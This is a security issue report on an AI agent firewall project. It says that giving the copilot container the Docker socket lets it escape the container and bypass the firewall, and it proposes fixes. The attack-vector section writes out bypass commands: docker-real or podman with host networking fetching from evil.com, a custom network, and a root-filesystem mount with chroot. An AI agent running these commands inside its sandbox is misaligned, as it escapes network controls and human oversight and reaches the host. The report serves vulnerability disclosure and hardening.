[Security] Docker socket access allows container escape and firewall bypass #10

Priority

Critical

Description

The copilot container has full access to the Docker socket (/var/run/docker.sock), which allows trivial container escapes and firewall bypasses. This fundamentally undermines the security model.

Attack vectors

1. Bypass docker-wrapper directly

/usr/bin/docker-real run --network host alpine wget https://evil.com

2. Create custom network

docker network create bypass-net
docker run --network bypass-net alpine wget https://evil.com

3. Volume mount escape

docker run -v /:/host alpine chroot /host bash

4. Alternative container runtimes

apt-get install podman
podman run --network host alpine wget https://evil.com

Current mitigations (insufficient)

• docker-wrapper.sh intercepts docker command but is easily bypassed
• Host-level iptables only filter awf-net bridge, not custom networks
• Wrapper blocks --privileged, --network host, --add-host but can be bypassed

Code locations

• src/docker-manager.ts:223-224 - Docker socket mount
• containers/copilot/docker-wrapper.sh - Wrapper script (bypassable)
• containers/copilot/Dockerfile:34-35 - Symlink setup

Proposed solutions

Option A: Remove Docker socket access (breaking change)

• Pros: Simplest, most secure
• Cons: Breaks MCP servers that need Docker (Playwright, etc.)
• Implementation: Remove socket mount, document that users must spawn Docker-based MCPs outside firewall

Option B: Use docker-socket-proxy

• Pros: Restricts Docker API calls, maintains auto-spawn functionality
• Cons: Adds complexity, still allows network creation
• Implementation: Add docker-socket-proxy container, configure to block dangerous operations
• Reference: https://github.com/Tecnativa/docker-socket-proxy

Option C: Enforce awf-net for all networks (host-level)

• Pros: Prevents custom network bypass
• Cons: Complex iptables rules, doesn't prevent volume escapes
• Implementation: Add iptables rules to block/filter all Docker networks except awf-net

Option D: AppArmor/SELinux profiles

• Pros: Fine-grained control
• Cons: Very complex, platform-specific
• Implementation: Docker security profiles restricting socket operations

Recommendation

Start with Option A (document limitation) or Option B (docker-socket-proxy) for immediate security. Option C could be additional defense-in-depth.